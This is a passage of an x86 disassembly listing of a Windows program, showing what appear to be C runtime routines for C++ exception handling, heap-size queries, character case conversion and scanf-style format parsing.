		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41B054
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41B04F
		push	edi
		push	eax
		call	sub_415F1A


loc_41B04F:				; CODE XREF: sub_41AFD9+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41AFD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B054	proc near		; CODE XREF: sub_41AFD9+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421838
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_46B6B0
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_46B6B4
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_46B6B0, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_46B6B4, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_415FE1
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41B11A
		mov	eax, [ebp+var_2C]


loc_41B0E1:				; CODE XREF: sub_41B0FA+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B054	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0F0	proc near		; DATA XREF: seg001:00421848o
		push	dword ptr [ebp-14h]
		call	sub_41B160
		pop	ecx
		retn
sub_41B0F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0FA	proc near		; DATA XREF: seg001:0042184Co
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_416242
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41B0E1
sub_41B0FA	endp

; ---------------------------------------------------------------------------


loc_41B112:				; DATA XREF: seg001:00421840o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41B11A	proc near		; CODE XREF: sub_41B054+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_46B6B0, eax
		mov	eax, [ebp-20h]
		mov	dword_46B6B4, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41B15F
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41B15F
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41B15F
		cmp	[ebp-24h], ebx
		jnz	short locret_41B15F
		cmp	[ebp-2Ch], ebx
		jz	short locret_41B15F
		call	sub_4162AA
		push	eax
		push	edi
		call	sub_41B34E
		pop	ecx
		pop	ecx

locret_41B15F:				; CODE XREF: sub_41B11A+1Cj
					; sub_41B11A+22j ...
		retn
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B160	proc near		; CODE XREF: sub_41B0F0+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41B187
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41B187
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41B187
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41B187
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41B187:				; CODE XREF: sub_41B160+Cj
					; sub_41B160+12j ...
		xor	eax, eax
		retn
sub_41B160	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B18A	proc near		; CODE XREF: sub_41AFD9+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421850
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41B333
		cmp	byte ptr [eax+8], 0
		jz	loc_41B333
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41B333
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41B227
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41E802
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B32A
		push	1
		push	edi
		call	sub_41E81E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B32A
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41B218:				; CODE XREF: sub_41B18A+F5j
		push	eax
		call	sub_41B3B5
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41B32F
; ---------------------------------------------------------------------------


loc_41B227:				; CODE XREF: sub_41B18A+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41B281
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_41E802
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B32A
		push	1
		push	edi
		call	sub_41E81E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B32A
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_416320
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41B32F
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41B32F
		add	esi, 8
		push	esi
		jmp	short loc_41B218
; ---------------------------------------------------------------------------


loc_41B281:				; CODE XREF: sub_41B18A+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41B2C9
		call	sub_41E802
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B32A
		push	1
		push	edi
		call	sub_41E81E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41B32A
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41B3B5
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_416320
		add	esp, 0Ch
		jmp	short loc_41B32F
; ---------------------------------------------------------------------------


loc_41B2C9:				; CODE XREF: sub_41B18A+103j
		call	sub_41E802
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41B32A
		push	1
		push	edi
		call	sub_41E81E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41B32A
		push	dword ptr [esi+18h]
		call	sub_41E83A
		pop	ecx
		test	eax, eax
		jz	short loc_41B32A
		test	byte ptr [esi],	4
		jz	short loc_41B310
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41B3B5
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_415F55
		jmp	short loc_41B32F
; ---------------------------------------------------------------------------


loc_41B310:				; CODE XREF: sub_41B18A+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41B3B5
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_415F4E
		jmp	short loc_41B32F
; ---------------------------------------------------------------------------


loc_41B32A:				; CODE XREF: sub_41B18A+6Aj
					; sub_41B18A+7Cj ...
		call	sub_41B482


loc_41B32F:				; CODE XREF: sub_41B18A+98j
					; sub_41B18A+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41B333:				; CODE XREF: sub_41B18A+2Ej
					; sub_41B18A+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B18A	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41B42C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B34E	proc near		; CODE XREF: sub_41AC79+170p
					; sub_41B11A+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421860
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41B395
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41B395
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_415F4E
		or	[ebp+var_4], 0FFFFFFFFh


loc_41B395:				; CODE XREF: sub_41B34E+2Aj
					; sub_41B34E+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B34E	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41B42C

; =============== S U B	R O U T	I N E =======================================



sub_41B3B5	proc near		; CODE XREF: sub_41B18A+8Fp
					; sub_41B18A+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41B3D6
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41B3D6:				; CODE XREF: sub_41B3B5+12j
		pop	esi
		retn
sub_41B3B5	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B3E0	proc near		; CODE XREF: sub_415FE1+40p
					; sub_41AF25+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_4162CD
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41B41F
		mov	ecx, 2


loc_41B41F:				; CODE XREF: sub_41B3E0+38j
		push	ecx
		call	sub_4162CD
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41B3E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B42C	proc near		; CODE XREF: sub_41AC79:loc_41AE1Bj
					; sub_41AFC3:loc_41AFD4j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041E852 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421870
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_46B6BC
		test	eax, eax
		jz	short loc_41B474
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41B470
; ---------------------------------------------------------------------------


loc_41B469:				; DATA XREF: seg001:00421880o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41B46D:				; DATA XREF: seg001:00421884o
		mov	esp, [ebp+var_18]


loc_41B470:				; CODE XREF: sub_41B42C+3Bj
		and	[ebp+var_4], 0


loc_41B474:				; CODE XREF: sub_41B42C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41B47D:				; DATA XREF: seg001:00421878o
		jmp	loc_41E852
sub_41B42C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B482	proc near		; CODE XREF: sub_416183+23p
					; sub_416183:loc_4161EEp ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421888
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43A2A4
		test	eax, eax
		jz	short loc_41B4CA
		mov	[ebp+var_4], 1
		call	eax ; sub_41B42C
		jmp	short loc_41B4C6
; ---------------------------------------------------------------------------


loc_41B4BF:				; DATA XREF: seg001:00421898o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]


loc_41B4C6:				; CODE XREF: sub_41B482+3Bj
		and	[ebp+var_4], 0


loc_41B4CA:				; CODE XREF: sub_41B482+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41B4D3:				; DATA XREF: seg001:00421890o
		jmp	sub_41B42C
sub_41B482	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B4D8	proc near		; CODE XREF: sub_416663+7p
					; sub_416663+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_46CCA8
		push	esi
		cmp	eax, 3
		jnz	short loc_41B501
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_418CBD
		test	eax, eax
		pop	ecx
		jz	short loc_41B4FE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41B536
; ---------------------------------------------------------------------------


loc_41B4FE:				; CODE XREF: sub_41B4D8+1Cj
		push	esi
		jmp	short loc_41B528
; ---------------------------------------------------------------------------


loc_41B501:				; CODE XREF: sub_41B4D8+Ej
		cmp	eax, 2
		jnz	short loc_41B525
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_419A18
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B525
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41B536
; ---------------------------------------------------------------------------


loc_41B525:				; CODE XREF: sub_41B4D8+2Cj
					; sub_41B4D8+43j
		push	[ebp+arg_0]


loc_41B528:				; CODE XREF: sub_41B4D8+27j
		push	0
		push	dword_46CCA4
		call	dword_42118C	; RtlSizeHeap


loc_41B536:				; CODE XREF: sub_41B4D8+24j
					; sub_41B4D8+4Bj
		pop	esi
		leave
		retn
sub_41B4D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B539	proc near		; CODE XREF: sub_416728+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_46B6CC, 0
		push	ebx
		jnz	short loc_41B564
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41B602
		cmp	eax, 7Ah
		jg	loc_41B602
		sub	eax, 20h
		jmp	loc_41B602
; ---------------------------------------------------------------------------


loc_41B564:				; CODE XREF: sub_41B539+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41B597
		cmp	dword_43812C, 1
		jle	short loc_41B584
		push	2
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41B58F
; ---------------------------------------------------------------------------


loc_41B584:				; CODE XREF: sub_41B539+3Dj
		mov	eax, off_437F20
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41B58F:				; CODE XREF: sub_41B539+49j
		test	eax, eax
		jnz	short loc_41B597


loc_41B593:				; CODE XREF: sub_41B539+AFj
		mov	eax, ebx
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B597:				; CODE XREF: sub_41B539+34j
					; sub_41B539+58j
		mov	edx, off_437F20
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41B5BA
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41B5C3
; ---------------------------------------------------------------------------


loc_41B5BA:				; CODE XREF: sub_41B539+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41B5C3:				; CODE XREF: sub_41B539+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_46B6CC
		call	sub_41C639
		add	esp, 20h
		test	eax, eax
		jz	short loc_41B593
		cmp	eax, 1
		jnz	short loc_41B5F5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B5F5:				; CODE XREF: sub_41B539+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41B602:				; CODE XREF: sub_41B539+14j
					; sub_41B539+1Dj ...
		pop	ebx
		leave
		retn
sub_41B539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B605	proc near		; CODE XREF: sub_416947+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41C00B
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B634
; ---------------------------------------------------------------------------


loc_41B62F:				; CODE XREF: sub_41B605+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41B634:				; CODE XREF: sub_41B605+28j
		cmp	dword_43812C, 1
		jle	short loc_41B64C
		movzx	eax, al
		push	8
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41B65B
; ---------------------------------------------------------------------------


loc_41B64C:				; CODE XREF: sub_41B605+36j
		mov	ecx, off_437F20
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B65B:				; CODE XREF: sub_41B605+45j
		cmp	eax, ebx
		jz	short loc_41B695
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41C092
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C07B
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E931
		add	esp, 0Ch


loc_41B683:				; CODE XREF: sub_41B605+8Ej
		test	eax, eax
		jz	short loc_41B695
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E931
		pop	ecx
		jmp	short loc_41B683
; ---------------------------------------------------------------------------


loc_41B695:				; CODE XREF: sub_41B605+58j
					; sub_41B605+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41BF77
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41B6CC:				; CODE XREF: sub_41B605+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43812C, 1
		jle	short loc_41B6E9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41B6F8
; ---------------------------------------------------------------------------


loc_41B6E9:				; CODE XREF: sub_41B605+D3j
		mov	ecx, off_437F20
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41B6F8:				; CODE XREF: sub_41B605+E2j
		test	eax, eax
		jz	short loc_41B70E
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41B773
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B605+F5j
		cmp	ebx, 4Eh
		jg	short loc_41B751
		jz	short loc_41B773
		cmp	ebx, 2Ah
		jz	short loc_41B74C
		cmp	ebx, 46h
		jz	short loc_41B773
		cmp	ebx, 49h
		jz	short loc_41B72E
		cmp	ebx, 4Ch
		jnz	short loc_41B760
		inc	[ebp+var_D]
		jmp	short loc_41B773
; ---------------------------------------------------------------------------


loc_41B72E:				; CODE XREF: sub_41B605+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41B760
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41B760
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41B773
; ---------------------------------------------------------------------------


loc_41B74C:				; CODE XREF: sub_41B605+113j
		inc	[ebp+var_E]
		jmp	short loc_41B773
; ---------------------------------------------------------------------------


loc_41B751:				; CODE XREF: sub_41B605+10Cj
		cmp	ebx, 68h
		jz	short loc_41B76D
		cmp	ebx, 6Ch
		jz	short loc_41B765
		cmp	ebx, 77h
		jz	short loc_41B768


loc_41B760:				; CODE XREF: sub_41B605+122j
					; sub_41B605+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41B773
; ---------------------------------------------------------------------------


loc_41B765:				; CODE XREF: sub_41B605+154j
		inc	[ebp+var_D]


loc_41B768:				; CODE XREF: sub_41B605+159j
		inc	[ebp+var_5]
		jmp	short loc_41B773
; ---------------------------------------------------------------------------


loc_41B76D:				; CODE XREF: sub_41B605+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41B773:				; CODE XREF: sub_41B605+107j
					; sub_41B605+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41B6CC
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41B798
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41B798:				; CODE XREF: sub_41B605+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41B7B6
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41B7B2
		cmp	al, 43h
		jz	short loc_41B7B2
		or	[ebp+var_5], 0FFh
		jmp	short loc_41B7B6
; ---------------------------------------------------------------------------


loc_41B7B2:				; CODE XREF: sub_41B605+1A1j
					; sub_41B605+1A5j
		mov	[ebp+var_5], 1


loc_41B7B6:				; CODE XREF: sub_41B605+19Bj
					; sub_41B605+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41B7EF
		cmp	esi, 63h
		jz	short loc_41B7E0
		cmp	esi, 7Bh
		jz	short loc_41B7E0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41C092
		pop	ecx
		jmp	short loc_41B7EB
; ---------------------------------------------------------------------------


loc_41B7E0:				; CODE XREF: sub_41B605+1C5j
					; sub_41B605+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C061


loc_41B7EB:				; CODE XREF: sub_41B605+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41B7EF:				; CODE XREF: sub_41B605+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41B7FF
		cmp	[ebp+var_C], eax
		jz	loc_41BFDB


loc_41B7FF:				; CODE XREF: sub_41B605+1EFj
		cmp	esi, 6Fh
		jg	loc_41BA66
		jz	loc_41BD18
		cmp	esi, 63h
		jz	loc_41BA43
		cmp	esi, 64h
		jz	loc_41BD18
		jle	loc_41BA90
		cmp	esi, 67h
		jle	short loc_41B863
		cmp	esi, 69h
		jz	short loc_41B84B
		cmp	esi, 6Eh
		jnz	loc_41BA90
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41BF46
		jmp	loc_41BF6C
; ---------------------------------------------------------------------------


loc_41B84B:				; CODE XREF: sub_41B605+229j
		push	64h
		pop	esi


loc_41B84E:				; CODE XREF: sub_41B605+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41BAD8
		mov	[ebp+var_17], 1
		jmp	loc_41BADD
; ---------------------------------------------------------------------------


loc_41B863:				; CODE XREF: sub_41B605+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41B87F
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41B884
; ---------------------------------------------------------------------------


loc_41B87F:				; CODE XREF: sub_41B605+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41B89B


loc_41B884:				; CODE XREF: sub_41B605+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B89E
; ---------------------------------------------------------------------------


loc_41B89B:				; CODE XREF: sub_41B605+27Dj
		mov	edi, [ebp+arg_0]


loc_41B89E:				; CODE XREF: sub_41B605+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41B8AD
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41B8B4


loc_41B8AD:				; CODE XREF: sub_41B605+29Dj
		mov	[ebp+var_C], 15Dh


loc_41B8B4:				; CODE XREF: sub_41B605+2A6j
					; sub_41B605+2F2j
		cmp	dword_43812C, 1
		jle	short loc_41B8C9
		push	4
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41B8D4
; ---------------------------------------------------------------------------


loc_41B8C9:				; CODE XREF: sub_41B605+2B6j
		mov	eax, off_437F20
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B8D4:				; CODE XREF: sub_41B605+2C2j
		test	eax, eax
		jz	short loc_41B8F9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B8F9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B8B4
; ---------------------------------------------------------------------------


loc_41B8F9:				; CODE XREF: sub_41B605+2D1j
					; sub_41B605+2DBj
		cmp	byte_438130, bl
		jnz	short loc_41B967
